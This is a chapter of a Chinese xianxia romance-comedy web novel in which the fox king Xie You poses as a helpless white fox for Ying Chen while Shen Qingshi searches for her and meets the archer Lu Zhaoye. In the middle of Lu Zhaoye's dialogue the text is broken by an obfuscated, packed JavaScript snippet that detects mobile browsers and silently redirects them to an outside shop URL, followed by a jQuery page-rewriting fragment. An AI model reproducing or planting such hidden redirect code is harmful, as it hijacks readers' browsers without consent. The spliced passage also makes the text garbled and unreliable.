谢幽在这附近!
原本应忱只是跟着沈青时来这踩个点,没想到来一次就找到了他的下落。
事不宜迟,应忱赶紧顺着契约的感应朝山上跑去。
.
被念叨的谢幽把乌龟如它所愿地揍了一顿,他化为人形,正提着乌龟,准备把它丢进旁边的河里。
乌龟本来整个龟都缩进了龟壳,见状,马上探出一个鼻青脸肿的头:“别丢啊陛下,我自己会走!”
谢幽不听王八念经,依旧面无表情,在乌龟的惊呼声中把它甩进河里。
“陛下——”
在滚滚的河流中,乌龟被冲得越来越远。
谢幽像拍脏东西似的拍了拍手,满脸嫌弃。
他眼珠转了转,落在了想要逃跑的老虎身上。
老虎瞬间顿住,不敢动了。
谢幽眯了眯眸子,思考着要不要把这家伙解决了……
但下一刻,舌尖上传来了一阵微弱的感应——是应忱!
谢幽的瞳孔因为欣喜不自觉扩大了几分,身后的九条尾巴不自觉地开始摇晃起来。
在鬼门关走了一趟的老虎顿时如释重负,这个煞星的注意力虽然现在不在它身上,但它却也是丝毫不敢乱动了。
谢幽完全把它抛之脑后了,他往应忱的方向走了几步,但仔细一想,不能用现在这副模样见她。
他心念微动,身后九条尾巴缩回,只余一条。随即,他的身形渐渐消失在原地,一只白色的小狐狸四爪着地,看着分外弱小可怜。
老虎泪流满面:就是这个形象!他就是用这个形象骗我的!
于是,应忱赶到这里的时候,就看见了这样的一幕——一只硕大的金眼白额吊晴虎“威风凛凛”,白毛小狐狸在它衬托下,显得可怜兮兮的一小团。
“死老虎,你想干嘛!?”
应忱心脏停了半拍,以为这只老虎是要伤害小狐狸,她大喝一声,挂在腰间的金吾醉已然出鞘!
老虎:“……”
“吼——”
它的金瞳里充满了震惊,不明白现在的人类怎么不辨黑白,受欺负的明明是它才对吧?
剑锋呼啸而来,但老虎丝毫不敢反抗,下一秒,它做出来一个应忱意想不到的动作——
它,趴下了……两只爪子抱着头,趴下了。投降的姿势十分标准。
应忱:“??”
她冒了一脑袋问号,但意识停下来动作,收了剑。
白狐冰冷的眼神睨了老虎一眼,然后它一蹦一跳地跑到应忱身边,抬起湿漉漉的红色眼睛望着她,小脑袋蹭了蹭她的腿,软乎乎地叫了一声:“嘤~”
看着这乖巧又依赖的模样,应忱心下一软,将它抱在怀里,摸了摸它毛茸茸的脑袋:“没事了,别怕。”
“吼——!”
突然,趴在地上的老虎突然悲愤地低吼了一声,把一人一狐都吓了一跳,好端端的这是干嘛?
它从地上爬起来,十分人性化地瞪了他们一眼,然后毫不犹豫地转身就跑,扬起一路烟尘,消失在树林之间。
应忱……应忱总觉得这老虎很奇怪,她明明什么都没做,它为什么这么害怕?
不过她也没去追,任凭它跑了。她现在还有伤在身,若真打起来可未必讨得了好。
应忱摸了摸小狐狸,只觉得好些日子没见,它都瘦了好多。小狐狸现在可没有修为和记忆,不是那叱咤风云的妖王。它那么小小的一只,在这危机四伏的山野里,肯定吃了不少苦吧。
她垂眸,满眼心疼:“这几日是不是过得不好?你看你,都瘦了。”
小狐狸舔了舔她指尖。
看,这孩子都饿到舔她了!应忱顿感事情之严重,怜惜地摸了摸它的脑袋:“这几天在野外,一定饿坏了吧?回去给你弄好吃的。”
正巧,这旁边有条河。
应忱抱着小狐狸来到河边,寻了块平整的大石头坐下。河水清澈见底,依稀可见几条肥美的青鱼悠闲游弋。
“等着,看我给你钓鱼吃。”
应忱从储物袋里摸出钓竿,手法娴熟地抛竿。
小狐狸窝在她怀里,眼睛一眨不眨地盯着她看,尾巴尖轻轻晃动。
好温暖。
它蹭了蹭应忱,隔着衣服贴上她的小腹,感受着她炽热的体温。
应忱以为它是等急了,安抚似的拍了拍:“乖,再等等。”
.
“应姑娘,麻烦过来帮我一下!”
一个体型健硕的黑面野猪倒在沈青时面前,她正在处理它。这只野猪块头大,她一个人可能搬得有点麻烦,所以想叫应忱过来一起帮忙。
她从野猪的身体里抽出箭,为了确保它死透了,又用斧头在野猪的脖颈处来了一下。滚烫的鲜血瞬间溅了她满脸,沈青时面无表情地抬起衣袖擦了擦脸。
没有人回应她。
沈青时这才发现有些不对,应忱人呢?
她回过头去,只见身后空荡荡的,山林寂静,只有风吹过树林的沙沙声。
沈青时皱眉,扬声又喊了一遍:“应姑娘?”
依旧无人应答。
她心中咯噔一下,快步走到她曾待过的地方,警觉地扫视四周,没人,也没有打斗的痕迹。
那应忱跑到哪里去了?
这个疑问在脑海一闪而过,沈青时略一思索,就赶紧出发去找人了。山林莫测,野兽四伏,她怕应忱出事。
“应姑娘?”
沈青时一路找,一路小声地喊。她不敢大声,怕引来野兽。小动物或许会怕人,但对于猛兽来说,人类也只是聪明一点的猎物罢了。
她找的认真,完全没注意到,在她身后,一只竹绿色的蛇正悬挂在树上,朝着她吐信子。
“嗖——”
一支箭矢破空而来,沈青时瞳孔一缩,尚来不及反应。下一刻,却见箭矢在她的耳边擦过——
“噗嗤”一声,精准地钉入她身后那条毒蛇的七寸!
蛇身剧烈扭动几下,软软地从树枝上垂落。见此,沈青时哪还不知,她这是被人救了。
“哪位壮士在此?”她喊了一声。
“是我是我!”一道清朗的少年声响起,只见一个身影从不远处的树上跃下,落地轻盈无声。来人迈着轻快的步伐走来,身后还跟着另一个人影。
沈青时抬眸望去,只见少年身着利落的黑色劲装,手持一把古朴的长弓,眉眼飞扬,唇角噙着一抹明朗的笑容。
“沈小姐,没事吧?”
这人认识她,沈青时眯了眯眸子,但她确认她不曾见过这个人。不过,他身后那人……
一个中年男人,很是眼熟,正是那日来找她的人之一。
“你是?”沈青时心中有了猜测,语气不免变得不友善起来。
少年似乎没看到她不善的眼神,依旧笑得灿烂,露出两颗洁白的虎牙:“在下陆昭野,幸会幸会!”
说罢,他给身后的中年男人使了个眼色,中年男人瞬间心领神会,上前捡起那条已然失去生命气息的蛇。
陆昭野拍了下手,语气欢快
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877542|188849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“太好了,晚上有蛇羹吃了!”
沈青时看在眼里,原本她以为那个中年男人是这次的领头人,但现下看来,判断有误,眼前俊朗年轻的少年,地位应该高于他。
陆昭野看向她:“礼尚往来,沈小姐不应该也自我介绍一下吗?”
沈青时无语:“你不是都知道了吗?还要我介绍什么?”
陆昭野挑眉:“这是不想和我多说的意思?”
沈青时转身就走,用行动证明了就是这个意思。
“诶诶诶,等等嘛。”陆昭野拦她,“不想说就不说了,但,相逢即是有缘,不如我们结伴同行?”
“不了。”沈青时神情冷淡。
陆昭野摸了摸下巴,继续没话找话:“刚刚是你在喊‘应姑娘’,对吧?是不是在找人?说出来听听呗,万一我们见过呢?”
中年男人默默无言,心想:我们从上山开始,除了沈小姐,一个人都没遇到吧?
但沈青时不知道,这话让她顿住了脚步,万一他们知道见过应忱呢?犹豫了片刻,她形容了一下应忱的形貌特征。
“嗯……”听到了这个熟悉的形容,陆昭野沉思片刻,突然福至心灵,“是忱忱姑娘?”
沈青时双目放光:“你见过她?”
但,陆昭野摇了摇头:“很遗憾,没有见过。”
沈青时:“……”那你为什么一副“快来问我”的表情,还这么亲密地称呼她?
“你认识她?”
“当然,我们可是朋友!”
陆昭野笑了笑:“她不见了?我们和你一起找吧,多个人正好多份力量,对吧?”
沈青时内心很想拒绝,但也明白他说的有道理。光她一个人找,不知要找到什么时候,有这个时间,应忱可能都已经遭遇不测了。
她深吸一口气,表情看上去十分狰狞:“那行,我们一起找。”
.
应忱正满意地看着手里肥美的大青鱼。
但别误会,这条鱼并不是她钓上来的。
她刚刚在这儿钓了半天,一条咬钩的鱼都没有。
应忱大怒,直呼这里的鱼山鱼吃不了细饵,她用的鱼饵可都是珍品,竟然一条都钓不上来!
应忱气不过,在小狐狸震惊的目光中,直接拔剑叉鱼。
“哼,跟我斗?”应忱翘起唇角,神情得意。
她掂了掂鱼的份量,左看右看,满意的不得了,只恨没有手机,不然她高低得拍个照发个朋友圈。
应忱再接再厉,又“钓”了几条上来,一共五条,她一条,宴寒沈青时小狐狸各一条,再来一条备用,刚刚好!
“走了!”应忱捞起小狐狸,手中提着五条鱼,步伐轻快又欢乐,完全忘记了自己似乎忘记了什么事。
哼着小曲走在下山的路上,夕阳将她的影子拉得老长,应忱心想,这趟满载而归啊,回去做个烤鱼给他们尝尝如何?
“想吃烤鱼吗?”
“嘤!”
“忱忱姑娘,我也想吃,可愿让我尝尝?”
突如其来的声音让应忱顿住了步伐,她抬头,一眼就看到了站在前方,神情戏谑的陆昭野,和他旁边的,目光不善的——沈青时。
沈、沈青时?
应忱:“……”
刚刚钓鱼太欢乐了,蒙蔽了她的理智,现在她终于想起来忘记了什么。
她张了张嘴,试图狡辩:“沈姑娘,你听我解释……”
二人的目光一致投向她手里的鱼上。
应忱:“……”